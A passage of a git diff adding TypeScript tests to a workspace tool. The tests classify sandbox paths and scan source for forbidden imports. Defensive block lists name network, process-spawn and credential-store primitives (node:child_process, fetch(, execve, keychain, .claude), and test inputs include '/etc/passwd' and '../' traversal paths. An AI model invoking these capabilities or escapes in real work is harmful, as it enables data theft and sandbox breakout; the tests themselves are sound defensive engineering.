*/ -export function downgradeRuntimeStateToV6(home: string): { from: 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19; to: 6 } | "not-needed" { +export function downgradeRuntimeStateToV6(home: string): { from: 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21; to: 6 } | "not-needed" { const path = join(home, "runtimes", "runtime-state.db"); if (!existsSync(path)) return "not-needed"; const db = new Database(path); @@ -339,13 +343,13 @@ export function downgradeRuntimeStateToV6(home: string): { from: 7 | 8 | 9 | 10 db.run("PRAGMA secure_delete = FAST"); const version = db.query<{ user_version: number }, []>("PRAGMA user_version").get()?.user_version ?? 0; if (version <= 6) return "not-needed"; - if (version > 19) throw new RuntimeStateUnavailableError(path, "newer-schema"); + if (version > 21) throw new RuntimeStateUnavailableError(path, "newer-schema"); const row = db.query<{ sql: string }, []>("SELECT sql FROM sqlite_master WHERE type='table' AND name='runtime_sessions'").get(); const v7Check = "IN ('official-spool','sdk-resume-staging','run-folder')"; db.run("PRAGMA foreign_keys = OFF"); try { db.transaction(() => { - // Existing homes may roll back an unused additive v8..v19 schema. Never discard + // Existing homes may roll back an unused additive v8..v21 schema. Never discard // a home identity, source grant, binding, receipt or retained workspace. if (version >= 8) { dropEmptyCoworkSchema(db); @@ -373,7 +377,7 @@ export function downgradeRuntimeStateToV6(home: string): { from: 7 | 8 | 9 | 10 } finally { db.run("PRAGMA foreign_keys = ON"); } - return { from: version as 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19, to: 6 }; + return { from: version as 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21, to: 6 }; } finally { db.close(); } diff --git a/packages/core/test/computer-use/no-load-time-home.test.ts b/packages/core/test/computer-use/no-load-time-home.test.ts index cf162d432..9d6bb30f0 100644 --- a/packages/core/test/computer-use/no-load-time-home.test.ts +++ b/packages/core/test/computer-use/no-load-time-home.test.ts @@ -1,4 +1,7 @@ -import { describe, expect, test } from "bun:test"; +import { setDefaultTimeout, describe, expect, test } from "bun:test"; + +// Whole-repo source scans (AST/regex over every package): a loaded CI runner can pass bun's 5 s default, so these files get 30 s. +setDefaultTimeout(30_000); import { mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, relative } from "node:path"; diff --git a/packages/core/test/cowork/approval-ports.test.ts b/packages/core/test/cowork/approval-ports.test.ts index d1eec581b..2b539e5ac 100644 --- a/packages/core/test/cowork/approval-ports.test.ts +++ b/packages/core/test/cowork/approval-ports.test.ts @@ -13,8 +13,7 @@ import { doorFixture, type DoorFixture } from "./session-door-fixture"; // Compile-time: the DOOR's structural ports ARE the APPROVALS lane's ports (assignable both ways). type Mutual = [A] extends [B] ? ([B] extends [A] ? true : false) : false; -// `planScratchEpoch` (#112) is left out here until the DOOR ports implement it (#116 adds it and restores the full check). -const ASSIGNABLE: Mutual extends infer R ? Omit : never> = true; +const ASSIGNABLE: Mutual extends infer R ? Omit : never> = true; const fixtures: DoorFixture[] = []; afterEach(() => { for (const f of fixtures.splice(0)) f.close(); }); @@ -40,6 +39,9 @@ test("the path table: its root and memory are admitted, its own outputs and scra // Outside the conversation's view: the rest of its source, other sources, the OS. "/workspace/folders/grant": "outside", "/workspace/folders/grant/repository": "outside", "/workspace/folders/other": "outside", "/workspace/repos/r": "outside", "/etc/passwd": "outside", "/": "outside", "/run": "outside", + // The plan scratch (#112): every `/workspace/plan//` tree; the projection narrows it to its own sid and epoch. + "/workspace/plan/conversation/0": "planScratch", "/workspace/plan/conversation/0/notes.md": "planScratch", "/workspace/plan/other/4/x": "planScratch", + "/workspace/plan": "outside", "/workspace/plan/conversation": "outside", "/workspace/plan/conversation/0/../../other/1/x": "planScratch", // Not an absolute path: never admitted. "relative/path": "protected", "": "protected", "/workspace/folders/grant/repo/\0": "protected", }; @@ -57,16 +59,17 @@ test("the ports: identity is the workspace and source revision; the machine is s // No plan view is mounted yet (the epoch-scoped scratch is a later slice): never installed, even under plan. expect(ports.planViewInstalled()).toBe(false); expect(coworkApprovalPortsFor({ binding, source, ceiling, planViewMounted: true }).planViewInstalled()).toBe(policy === "plan"); + expect(ports.planScratchEpoch()).toBe(0); // the machine's epoch expect(ports.classifyPath("/workspace/folders/grant/repo/a")).toBe("admitted"); expect(ports.classifyPath("/workspace/folders/grant/a")).toBe("outside"); expect(Object.isFrozen(ports)).toBe(true); } }); -function bridge(policy: ApprovalPolicy) { +function bridge(policy: ApprovalPolicy, planViewMounted = false) { const f = doorFixture({ policy }); fixtures.push(f); const binding = f.records.binding("conversation"); f.begin(); - const ports = coworkApprovalPortsFor({ binding, source: f.authority.requireSource(f.workspaceId, binding.sourceId), ceiling: f.authority.effectiveCapabilities("conversation") }); + const ports = coworkApprovalPortsFor({ binding, source: f.authority.requireSource(f.workspaceId, binding.sourceId), ceiling: f.authority.effectiveCapabilities("conversation"), planViewMounted }); const approvals = new ApprovalBroker(), events: NewSessionEvent[] = []; // The APPROVALS lane's bridge with the DOOR's ports; `mode: "code"` is the bridge's own type (a NEEDS for APPROVALS). const canUse = canUseToolFor({ sessionId: "conversation", mode: "code", policy, approvals, questions: new QuestionBroker(), gate: new PermissionGate(), @@ -99,9 +102,20 @@ test("D3b: an outputs-located conversation's own folder stays `outputs` (never ` ["/workspace/outputs/s_0123456789ab", "outputs"], ["/workspace/outputs/s_0123456789ab/report.md", "outputs"], ["/workspace/outputs/s_other/x", "protected"], ["/workspace/folders/grant", "outside"], ["/workspace/.winter/memory", "admitted"], ] as const) expect([path, ports.classifyPath(path)]).toEqual([path, klass]); - expect(ports.identity()).toEqual({ workspaceId: f.workspaceId, sourceRevision: 0 }); + expect(ports.identity()).toEqual({ workspaceId: f.workspaceId, sourceRevision: 0, outputsFolder: "/workspace/outputs/s_0123456789ab" }); expect(ports.planViewInstalled()).toBe(false); // A source binding must name its source; an outputs conversation must not. expect(() => coworkApprovalPortsFor({ binding: conversation, source: f.records.sources(f.workspaceId)[0]!, ceiling: { toolClasses: [], hostServices: [], connectors: [], network: "none" } })).toThrow("authority_denied"); expect(coworkClassifyGuestPath("/workspace/outputs/s_0123456789ab/a", { sessionId: "s_0123456789ab", root: null })).toBe("outputs"); }); + +test("plan scratch through the real bridge: only plan, only with the view mounted, only its own sid at the current epoch", async () => { + const write = async (h: ReturnType, path: string) => (await h.canUse("Write", { file_path: path, content: "x" }, ctx("plan"))).behavior; + const mounted = bridge("plan", true); + expect(await write(mounted, "/workspace/plan/conversation/0/notes.md")).toBe("allow"); + for (const path of ["/workspace/plan/conversation/1/notes.md", "/workspace/plan/other/0/notes.md", "/workspace/plan/conversation/notes.md", "/workspace/plan/conversation/0/../1/x"]) { + expect([path, await write(mounted, path)]).toEqual([path, "deny"]); + } + expect(await write(bridge("plan"), "/workspace/plan/conversation/0/notes.md")).toBe("deny"); // no view: plan_view_missing + for (const policy of POLICIES.filter(policy => policy !== "plan")) expect([policy, await write(bridge(policy, true), "/workspace/plan/conversation/0/notes.md")]).toEqual([policy, "deny"]); +}); diff --git a/packages/core/test/cowork/content-out-wiring.test.ts b/packages/core/test/cowork/content-out-wiring.test.ts new file mode 100644 index 000000000..fc9936661 --- /dev/null +++ b/packages/core/test/cowork/content-out-wiring.test.ts @@ -0,0 +1,204 @@ +// Anti-wiring pins for the content-out lane (the feature-branch publish service, the `.winterworkspace` writer and the restore +// flow). They replace the older "unwired" statement honestly: these modules are now WIRED, but only behind ports production +// never supplies, and only reachable from code that already sits behind the Cowork refusal. Each pin states what is true and +// would turn red the moment someone makes it false. +// +// The scanner resolves imports (relative specifiers, with or without a `.js`/`.ts` extension or `/index`, static, dynamic, +// `require`, re-export and multi-line forms) to files, so renaming a specifier cannot dodge it. The rules are pure functions of +// a path -> text map, and each rule is exercised on virtual files (passing and failing cases) as well as on the real tree. +import { expect, setDefaultTimeout, test } from "bun:test"; +import { existsSync, readFileSync, readdirSync } from "node:fs"; +import { basename, dirname, join, relative, resolve } from "node:path"; +import { METHODS } from "@yanlinglabs/winter-protocol"; +import { createCoworkPublishService } from "../../src/cowork/git/publish-service"; +import { GitPublicationError } from "../../src/cowork/git/types"; +import { createCoworkWorkspaceRestorer } from "../../src/cowork/restore-bundle"; + +// The scans read every source file of every package; a loaded CI runner needs more than the 5 s default. +setDefaultTimeout(60_000); +const packages = join(import.meta.dir, "..", "..", ".."); +const srcRoot = join(packages, "core", "src"); +function sourceFiles(directory: string): string[] { + return readdirSync(directory, { recursive: true, withFileTypes: true }).filter(entry => entry.isFile() && /\.(ts|tsx|js|mjs|cjs)$/.test(entry.name)).map(entry => join(entry.parentPath, entry.name)); +} +const packageDirs = readdirSync(packages, { withFileTypes: true }).filter(entry => entry.isDirectory() && existsSync(join(packages, entry.name, "src"))); +const REAL = new Map(packageDirs.flatMap(entry => sourceFiles(join(packages, entry.name, "src")).map(file => [file, readFileSync(file, "utf8")] as const))); +const abs = (path: string) => join(srcRoot, path); + +// ------------------------------------------------------------------------------------------------ the scanner + +/** Every module specifier a text can load, in any spelling. */ +export function specifiersOf(text: string): string[] { + const out: string[] = []; + for (const pattern of [/\bfrom\s*["']([^"']+)["']/g, /\bimport\s*\(\s*["']([^"']+)["']\s*\)/g, /\bimport\s+["']([^"']+)["']/g, /\brequire\s*\(\s*["']([^"']+)["']\s*\)/g, /\bexport\s*\*\s*from\s*["']([^"']+)["']/g]) + for (const match of text.matchAll(pattern)) out.push(match[1]!); + return out; +} +/** The file a relative specifier from `importer` names, extension-insensitive; null for a package specifier. */ +export function resolveSpecifier(importer: string, specifier: string, files: ReadonlySet): string | null { + if (!specifier.startsWith(".")) return null; + const base = resolve(dirname(importer), specifier).replace(/\.(m|c)?(js|ts)x?$/, ""); + for (const candidate of [`${base}.ts`, `${base}.tsx`, `${base}.js`, `${base}.mjs`, join(base, "index.ts"), join(base, "index.js")]) if (files.has(candidate)) return candidate; + return `${base}.ts`; +} +const EDGE_CACHE = new WeakMap, Array<[string, string]>>(); +export function importEdges(files: ReadonlyMap): Array<[string, string]> { + const cached = EDGE_CACHE.get(files); + if (cached) return cached; + const known = new Set(files.keys()), edges: Array<[string, string]> = []; + for (const [file, text] of files) for (const specifier of specifiersOf(text)) { const target = resolveSpecifier(file, specifier, known); if (target) edges.push([file, target]); } + return edges; +} +/** Rule: a module may be reached only from its allowed importers. Returns the offending "importer -> module" edges. */ +export function importViolations(files: ReadonlyMap, allowed: Readonly>): string[] { + const out: string[] = []; + for (const [from, to] of importEdges(files)) { + const rule = allowed[to]; + if (rule && !rule.includes(from) && !out.includes(`${rel(from)} -> ${rel(to)}`)) out.push(`${rel(from)} -> ${rel(to)}`); + } + return out; +} +/** Rule: a symbol may appear only in the listed files (identifier match, so a longer name does not trip a shorter one). */ +export function symbolViolations(files: ReadonlyMap, symbols: readonly string[], allowedFiles: readonly string[]): string[] { + const out: string[] = []; + for (const [file, text] of files) { + if (allowedFiles.includes(file)) continue; + for (const symbol of symbols) if (new RegExp(`(? relative(packages, file); + +// ------------------------------------------------------------------------------------------------ the lane + +const PUBLISH = ["cowork/git/publish-service.ts", "cowork/git/publish-intake.ts"].map(abs); +const EXPORT = ["cowork/export-writer.ts", "cowork/restore-bundle.ts", "cowork/export-bundle.ts", "cowork/export-io.ts", "cowork/export-binding.ts"].map(abs); +const NEW_MODULES = [...PUBLISH, ...EXPORT]; +const ALLOWED_IMPORTERS: Record = { + [abs("cowork/git/publish-service.ts")]: [], + [abs("cowork/git/publish-intake.ts")]: [abs("cowork/git/publish-service.ts")], + [abs("cowork/export-writer.ts")]: [abs("cowork/restore-bundle.ts"), abs("cowork/export-binding.ts")], // both name the binding TYPE only + [abs("cowork/restore-bundle.ts")]: [], + [abs("cowork/export-bundle.ts")]: [abs("cowork/export-writer.ts"), abs("cowork/restore-bundle.ts"), abs("cowork/export-binding.ts")], + [abs("cowork/export-binding.ts")]: [], // no production code builds it until migration 20 exists + [abs("cowork/export-io.ts")]: [abs("cowork/export-bundle.ts"), abs("cowork/export-writer.ts"), abs("cowork/restore-bundle.ts")], +}; +const LANE_SYMBOLS = ["createCoworkPublishService", "CoworkPublishPorts", "PublishBundlePort", "pullPublishBundle", "publishBundlePath", "CoworkWorkspaceExporter", "createCoworkWorkspaceRestorer", + "CoworkExportImageDoor", "CoworkExportContentBinding", "CoworkRestoreApproval", "CoworkRestoreIdentityPort", "inspectBundle", "verifyBundle", "hashBundleFiles", "walkRegularFilesAt", "openRegularAt", + "renameDirect", "copyImageFile", "copyFdHashed", "stripExtendedAttributes", "hasWritableAcl", "listDirectoryAt", "openDirectoryNoFollow", "OutputIdMapper", "SqliteExportContentBinding", "OPAQUE_OUTPUT_ID"]; +const GIT_DIR = abs("cowork/git") + "/"; +/** The exact import edges inside cowork/git today. Adding a new one (a new wire into the broker, the journal, ...) fails here. */ +const GIT_EDGES = [ + "authority.ts -> types.ts", "broker.ts -> pack-budget.ts", "broker.ts -> types.ts", "executor.ts -> types.ts", "journal.ts -> types.ts", "pack-budget.ts -> types.ts", + "publish-intake.ts -> types.ts", "publish-service.ts -> publish-intake.ts", "publish-service.ts -> types.ts", + "read-authority.ts -> read-types.ts", "read-owned-command.ts -> read-types.ts", "read-parser-entry.ts -> read-types.ts", "read-parser-entry.ts -> read-wire.ts", "read-parser-helper.ts -> read-owned-command.ts", + "read-parser-helper.ts -> read-types.ts", "read-transport.ts -> read-authority.ts", "read-transport.ts -> read-parser-helper.ts", "read-transport.ts -> read-types.ts", "read-transport.ts -> read-wire.ts", + "read-wire.ts -> pack-budget.ts", "read-wire.ts -> read-types.ts", +]; + +test("the scanner is not vacuous: the real tree is found, and every new module exists", () => { + expect(REAL.size).toBeGreaterThan(100); + for (const module of NEW_MODULES) { expect(existsSync(module)).toBe(true); expect(REAL.has(module)).toBe(true); } + expect(importEdges(REAL).length).toBeGreaterThan(500); +}); + +test("the scanner resolves every spelling of an import, so a renamed specifier cannot dodge a pin", () => { + const importer = abs("ipc/zz-probe.ts"), target = abs("cowork/export-writer.ts"); + const files = new Map([[importer, ""], [target, ""], [abs("cowork/export-io.ts"), ""], [abs("cowork/index.ts"), ""]]); + const spellings = [ + 'import { x } from "../cowork/export-writer";', 'import { x } from "../cowork/export-writer.js";', 'import { x } from "../cowork/export-writer.ts";', "import { x } from '../cowork/export-writer';", + 'import type { x } from "../cowork/export-writer";', 'export * from "../cowork/export-writer";', 'export { x } from "../cowork/export-writer.js";', 'const m = await import("../cowork/export-writer");', + 'const m = require("../cowork/export-writer");', 'import "../cowork/export-writer";', 'import {\n a,\n b,\n} from\n "../cowork/export-writer";', 'import { x } from "../cowork/../cowork/export-writer.js";', 'import { x } from "./../ipc/../cowork/export-writer";', + ]; + for (const text of spellings) expect([text, importViolations(new Map([...files, [importer, text]]), ALLOWED_IMPORTERS)]).toEqual([text, [`${rel(importer)} -> ${rel(target)}`]]); + // An allowed importer, a package specifier and an unrelated file are fine. + expect(importViolations(new Map([...files, [abs("cowork/restore-bundle.ts"), 'import type { x } from "./export-writer.js";']]), ALLOWED_IMPORTERS)).toEqual([]); + expect(importViolations(new Map([...files, [importer, 'import { x } from "zod";\nimport { y } from "./other";']]), ALLOWED_IMPORTERS)).toEqual([]); + // Symbols are matched as identifiers: a different longer name is not a hit, the real one is. + expect(symbolViolations(new Map([[importer, "const a = renameDirectory(1);"]]), ["renameDirect"], [])).toEqual([]); + expect(symbolViolations(new Map([[importer, "renameDirect(a, b, 'swap')"]]), ["renameDirect"], [])).toEqual([`${rel(importer)}: renameDirect`]); + expect(symbolViolations(new Map([[importer, "copyImageFile(fd, p)"]]), ["copyImageFile"], [importer])).toEqual([]); +}); + +test("wired behind a port: no src file outside the lane names a new module or any of its symbols, so the daemon, the IPC server and every session door never build them", () => { + expect(importViolations(REAL, ALLOWED_IMPORTERS)).toEqual([]); + expect(symbolViolations(REAL, LANE_SYMBOLS, NEW_MODULES)).toEqual([]); + // Nothing under cowork/ or elsewhere imports a *test* helper either. + for (const [file] of importEdges(REAL)) expect(file.includes("/test/")).toBe(false); +}); + +test("cowork/git is not reachable from outside it, and its internal wiring is exactly the pinned edge list", () => { + const edges = importEdges(REAL).filter(([from, to]) => to.startsWith(GIT_DIR) || from.startsWith(GIT_DIR)); + expect(edges.filter(([from, to]) => to.startsWith(GIT_DIR) && !from.startsWith(GIT_DIR)).map(([from, to]) => `${rel(from)} -> ${rel(to)}`)).toEqual([]); + const internal = edges.filter(([from, to]) => from.startsWith(GIT_DIR) && to.startsWith(GIT_DIR)).map(([from, to]) => `${from.slice(GIT_DIR.length)} -> ${to.slice(GIT_DIR.length)}`).sort(); + expect(internal).toEqual([...GIT_EDGES].sort()); + // The broker, the journal, the authority and the executor are named by no file but their own and the tests. + const names = ["CoworkGitPublicationBroker", "CanonicalPublicationJournal", "CurrentCoworkPublicationAuthority", "IsolatedGitExecutor", "resolveGitExecutable", "checkPackBudget"]; + const own = new Map([...REAL].filter(([file]) => !file.startsWith(GIT_DIR))); + expect(symbolViolations(own, names, [])).toEqual([]); + // The broker still refuses outside an isolated fixture, unchanged by the service. + const broker = REAL.get(abs("cowork/git/broker.ts"))!; + expect(broker).toContain('if (!this.options.isolatedFixture) deny("integration_unavailable");'); + expect(broker).toContain('availability(): { available: false; reason: "host_auth_and_service_integration_required" }'); +}); + +test("the services built the way production would build them refuse every verb", async () => { + const service = createCoworkPublishService(undefined); + expect(service.availability()).toEqual({ available: false, reason: "publication_ports_absent" }); + const caller = { principalId: "u", sessionId: "s", taskId: "t" }; + await expect(service.publish(caller, { requestId: "r", sourceId: "x", ref: "refs/heads/f", oldOid: null, newOid: "a".repeat(40) })).rejects.toBeInstanceOf(GitPublicationError); + expect(() => service.status(caller, "r")).toThrow(GitPublicationError); + await expect(createCoworkWorkspaceRestorer(undefined).restore({ bundlePath: "/x.winterworkspace", proof: {} })).rejects.toMatchObject({ code: "integration_unavailable" }); +}); + +test("the Cowork refusal is untouched: no RPC method, protocol name or session door names publish, export or restore, and the creation door is not built here", () => { + for (const name of Object.values(METHODS as Record)) expect(`${name}:${/publish|winterworkspace|workspace\.export|workspace\.restore|bundle/i.test(name)}`).toBe(`${name}:false`); + for (const file of ["ipc/server.ts", "daemon.ts", "sessions/session-mode.ts", "cowork/service.ts", "cowork/session-ports.ts"].map(abs)) { + const text = REAL.get(file)!; + for (const needle of ["publish-service", "export-writer", "restore-bundle", "winterworkspace", "createCoworkPublishService", "createCoworkWorkspaceRestorer"]) expect(`${basename(file)}:${needle}:${text.includes(needle)}`).toBe(`${basename(file)}:${needle}:false`); + } + for (const module of NEW_MODULES) { + const text = REAL.get(module)!; + // No door, no new error code, no setting, no environment switch. + for (const needle of ["coworkSessions", "CoworkSessionDoor", "CoworkError(", "process.env", "Bun.env", "settings."]) expect(`${basename(module)}:${needle}:${text.includes(needle)}`).toBe(`${basename(module)}:${needle}:false`); + } +}); + +const codeOnly = (text: string) => text.split("\n").filter(line => !/^\s*(\/\*|\*|\/\/)/.test(line)).map(line => line.replace(/\/\/.*$/, "")).join("\n"); + +test("no network and no process: the new modules open no socket, speak no HTTP and spawn nothing; the guest never gets a way to reach a remote", () => { + const forbidden = ["node:net", "node:http", "node:https", "node:http2", "node:dgram", "node:tls", "node:dns", "node:child_process", "node:worker_threads", "fetch(", "WebSocket", "Bun.connect", "Bun.listen", "Bun.spawn", "Bun.serve", "XMLHttpRequest", "github.com", "posix_spawn", "execve", "fork(", "system("]; + for (const module of NEW_MODULES) { + const text = codeOnly(REAL.get(module)!); + for (const needle of forbidden) expect(`${basename(module)}:${needle}:${text.includes(needle)}`).toBe(`${basename(module)}:${needle}:false`); + for (const needle of [/\b(socket|connect|bind|listen|accept|sendto|recvfrom|getaddrinfo|vsock)\s*:\s*\{/, /\bdlopen\(\s*["'](?!\/usr\/lib\/libSystem\.B\.dylib)/]) expect(`${basename(module)}:${needle}:${needle.test(text)}`).toBe(`${basename(module)}:${needle}:false`); + } + // The only imports of the publish modules are types, the repository type, hashing and each other. + for (const module of PUBLISH) { + const imports = [...REAL.get(module)!.matchAll(/from "([^"]+)"/g)].map(match => match[1]!).sort(); + expect(imports.every(spec => ["node:crypto", "./types", "./publish-intake", "../repository"].includes(spec))).toBe(true); + } +}); + +test("the native symbol table of export-io.ts is pinned exactly: adding connect, a spawn or any other symbol fails here", () => { + const text = REAL.get(abs("cowork/export-io.ts"))!; + expect([...text.matchAll(/dlopen\(/g)]).toHaveLength(1); + for (const module of NEW_MODULES) if (module !== abs("cowork/export-io.ts")) expect(codeOnly(REAL.get(module)!)).not.toMatch(/dlopen|bun:ffi/); + const block = text.slice(text.indexOf('dlopen("/usr/lib/libSystem.B.dylib", {'), text.indexOf(" });", text.indexOf("dlopen("))); + const symbols = [...block.matchAll(/^\s{4}([A-Za-z_][A-Za-z0-9_]*):\s*\{\s*args:/gm)].map(match => match[1]!).sort(); + expect(symbols).toEqual(["__error", "acl_free", "acl_get_file", "acl_to_text", "closedir", "fclonefileat", "fdopendir", "flistxattr", "fremovexattr", "openat", "readdir", "renamex_np"]); + // Every symbol the module CALLS is in the table. + const called = [...text.matchAll(/symbols\.([A-Za-z_][A-Za-z0-9_]*)!?\(/g)].map(match => match[1]!); + for (const name of new Set(called)) expect(symbols).toContain(name); + // A scanner check on a virtual module: a table with an extra symbol is detected the same way. + const extra = block.replace("closedir:", "connect: { args: [], returns: 0 },\n closedir:"); + expect([...extra.matchAll(/^\s{4}([A-Za-z_][A-Za-z0-9_]*):\s*\{\s*args:/gm)].map(match => match[1]!)).toContain("connect"); +}); + +test("exports and restore touch no credential store and no home outside the workspace's own folder", () => { + for (const module of EXPORT) { + const code = codeOnly(REAL.get(module)!); + for (const needle of [/Bun\.secrets/, /keychain/i, /\.winter(?!workspace)/, /\.claude/, /homedir/, /WINTER_HOME/, /runtime-state\.db/, /credentials/i]) + expect(`${basename(module)}:${needle}:${needle.test(code)}`).toBe(`${basename(module)}:${needle}:false`); + } +}); diff --git a/packages/core/test/cowork/conversation-set.test.ts b/packages/core/test/cowork/conversation-set.test.ts index d8869997a..abb22149f 100644 --- a/packages/core/test/cowork/conversation-set.test.ts +++ b/packages/core/test/cowork/conversation-set.test.ts @@ -4,6 +4,7 @@ import { afterEach, expect, test } from "bun:test"; import type { ApprovalPolicy } from "@yanlinglabs/winter-protocol"; import { + coworkPlanScratchPath, COWORK_GUEST_IDENTITIES, COWORK_GUEST_RUNTIME_MODES, coworkConversationFor, coworkGuestCwdFor, coworkGuestPermissionModeFor, coworkGuestPolicyFor, coworkGuestToolClassesFor, coworkGuestToolsFromClasses, type CoworkConversationSetInput, } from "../../src/cowork/conversation-set"; @@ -32,7 +33,7 @@ function fixture(opts: Parameters[0] = {}): DoorFixture { co /** Through the native wire exactly as the host sends it at `mounted`, and back: what the guest would receive. */ function onTheWire(set: CoworkGuestConversationSet, incarnationId: string): CoworkGuestConversationSet { - const message = { t: "conversations", operationId: "operation", nonce: "ab".repeat(16), incarnationId, profile: set.profile, conversations: set.conversations } as const; + const message = { t: "conversations", operationId: "operation", nonce: "ab".repeat(16), incarnationId, profile: set.profile, browseUid: null, conversations: set.conversations } as const; const frame = parseCoworkNativeMuxFrame(serializeCoworkNativeMuxFrame({ class: "bootstrap", seq: 1, message }, "down"), "down"); if (frame.class !== "bootstrap" || frame.message.t !== "conversations") throw new Error("shape"); return { profile: frame.message.profile, conversations: frame.message.conversations }; @@ -159,3 +160,31 @@ test("the set is refused for a binding that is not active, in another workspace, expect(() => coworkConversationFor({ ...input, context: { ...input.context, workspaceId: "workspace_other" } })).toThrow("authority_denied"); expect(() => coworkConversationFor({ ...input, offered: ["Read", "Write"] })).toThrow("invalid_request"); }); + +test("plan view: under plan with an epoch the set carries the own writable plan scratch beside the read-only roots; the native wire admits it (revision 3, S7B) and the driver still passes no epoch", () => { + const plan = fixture({ policy: "plan" }), input = inputFor(plan); + const uids = { runtimeUid: 3001, toolUid: 3002 }; + const item = coworkConversationFor({ ...input, uids, planScratchEpoch: 3 }).conversations[0]!; + expect(item.roots).toEqual([ + { id: plan.sourceId, guestPath: "/workspace/folders/grant", source: "/workspace/folders/grant", readOnly: true }, + { id: "plan-scratch", guestPath: "/workspace/plan/conversation/3", source: "/workspace/plan/conversation/3", readOnly: false }, + ]); + // The wire admits exactly this view (S7B, contract 12.5): the own session, a canonical epoch, writable, under plan only, once. + expect(() => onTheWire({ profile: "host-query-v1", conversations: [item] }, "incarnation")).not.toThrow(); + const view = item.roots[1]!; + const refused = (change: object) => expect(() => onTheWire({ profile: "host-query-v1", conversations: [{ ...item, ...change } as never] }, "incarnation")).toThrow(); + refused({ roots: [item.roots[0], { ...view, readOnly: true }] }); // the plan view is writable by definition + refused({ policy: "ask" }); // and exists under plan only + for (const path of ["/workspace/plan/other/3", "/workspace/plan/conversation/03", "/workspace/plan/conversation/-1", "/workspace/plan/conversation", "/workspace/plan/conversation/3/x"]) + refused({ roots: [item.roots[0], { ...view, guestPath: path, source: path }] }); // not the own session, a non-canonical epoch, a bare or deeper path + refused({ roots: [item.roots[0], view, { ...view, id: "second", guestPath: "/workspace/plan/conversation/4", source: "/workspace/plan/conversation/4" }] }); // at most one + expect(coworkConversationFor(input).conversations[0]!.roots).toHaveLength(1); + for (const epoch of [-1, 1.5, Number.NaN]) expect(() => coworkConversationFor({ ...input, uids, planScratchEpoch: epoch })).toThrow("invalid_request"); + // No plan scratch without the conversation's own allocated uids: there is no shared fixed pick to give the directory to. + expect(() => coworkConversationFor({ ...input, planScratchEpoch: 3 })).toThrow("invalid_request"); + expect(item.toolUid).toBe(3002); + // Outside plan the epoch is ignored: no plan scratch is ever mounted writable beside a writable source. + const ask = fixture({ policy: "ask" }); + expect(coworkConversationFor({ ...inputFor(ask), planScratchEpoch: 3 }).conversations[0]!.roots).toHaveLength(1); // (and needs no uids there) + expect(coworkPlanScratchPath("s_0123456789ab", 0)).toBe("/workspace/plan/s_0123456789ab/0"); +}); diff --git a/packages/core/test/cowork/export-binding.test.ts b/packages/core/test/cowork/export-binding.test.ts new file mode 100644 index 000000000..6bddd41d6 --- /dev/null +++ b/packages/core/test/cowork/export-binding.test.ts @@ -0,0 +1,56 @@ +import { afterEach, expect, test } from "bun:test"; +import { SqliteExportContentBinding } from "../../src/cowork/export-binding"; +import { CoworkLifecycleError } from "../../src/cowork/storage-lifecycle"; +import { RUNTIME_STATE_SCHEMA_VERSION } from "../../src/runtime-state/db"; +import { COWORK_TABLES } from "../../src/cowork/schema"; +import { PROOF, fixture, runCleanup } from "./export-fixture"; + +afterEach(runCleanup); +// The real tables: migration 20 (cowork/schema.ts, DOOR's #114), not a copy of its DDL. +async function prepared() { + const f = await fixture(); + const p = f.exportsRecords.prepare(f.workspaceId, PROOF); + return { f, exportId: p.exportId, binding: new SqliteExportContentBinding(f.db) }; +} +const D = "a".repeat(64), O1 = `s${"1".repeat(16)}`, O2 = `s${"2".repeat(16)}`; +const refuses = (fn: () => unknown) => { try { fn(); } catch (error) { expect(error).toBeInstanceOf(CoworkLifecycleError); return; } throw new Error("expected a refusal"); }; + +test("a binding records once on a prepared generation and reads back; before that, and for an unknown id, it reads null", async () => { + const { exportId, binding } = await prepared(); + expect(binding.read(exportId)).toBeNull(); expect(binding.read("export_unknown")).toBeNull(); + binding.record(exportId, { contentDigest: D, outputIds: { [O1]: "session-one", [O2]: "session-two" } }); + expect(binding.read(exportId)).toEqual({ contentDigest: D, outputIds: { [O1]: "session-one", [O2]: "session-two" } }); + refuses(() => binding.record(exportId, { contentDigest: "b".repeat(64), outputIds: {} })); // never rewritten + expect(binding.read(exportId)!.contentDigest).toBe(D); +}); + +test("a binding for a completed or failed generation, or with a malformed digest, id or duplicate session, is refused and writes nothing", async () => { + const { f, exportId, binding } = await prepared(); + for (const bad of [{ contentDigest: "A".repeat(64), outputIds: {} }, { contentDigest: "a".repeat(63), outputIds: {} }, { contentDigest: D, outputIds: { s1: "x" } }, + { contentDigest: D, outputIds: { [O1]: "" } }, { contentDigest: D, outputIds: { [O1]: "same", [O2]: "same" } }, { contentDigest: D, outputIds: { [`S${"1".repeat(16)}`]: "x" } }]) + refuses(() => binding.record(exportId, bad)); + expect(binding.read(exportId)).toBeNull(); expect(f.db.db.query("SELECT count(*) AS n FROM cowork_export_output_ids").get()).toEqual({ n: 0 }); + f.exportsRecords.fail(exportId, PROOF); + refuses(() => binding.record(exportId, { contentDigest: D, outputIds: {} })); + refuses(() => binding.record("export_unknown", { contentDigest: D, outputIds: {} })); +}); + +test("the map is written with the digest or not at all", async () => { + const { f, exportId, binding } = await prepared(); + f.db.db.run("INSERT INTO cowork_export_output_ids VALUES(?,?,?)", [exportId, O1, "taken"]); // a stray row makes the second insert collide + expect(() => binding.record(exportId, { contentDigest: D, outputIds: { [O1]: "session-one" } })).toThrow(); // the PRIMARY KEY collision rolls the UPDATE back + expect(f.db.db.query<{ content_digest: string | null }, [string]>("SELECT content_digest FROM cowork_exports WHERE export_id=?").get(exportId)!.content_digest).toBeNull(); +}); + +test("the tables are the ones migration 20 creates, and the database refuses what the class would never write", async () => { + const { f, exportId, binding } = await prepared(); + expect(RUNTIME_STATE_SCHEMA_VERSION).toBeGreaterThanOrEqual(20); + expect(COWORK_TABLES).toContain("cowork_export_output_ids"); + expect(f.db.db.query<{ name: string }, []>("PRAGMA table_info(cowork_exports)").all().map(column => column.name)).toContain("content_digest"); + // The CHECKs and keys are the database's own, independent of the class's validation. + expect(() => f.db.db.run("UPDATE cowork_exports SET content_digest=? WHERE export_id=?", ["A".repeat(64), exportId])).toThrow(); + expect(() => f.db.db.run("INSERT 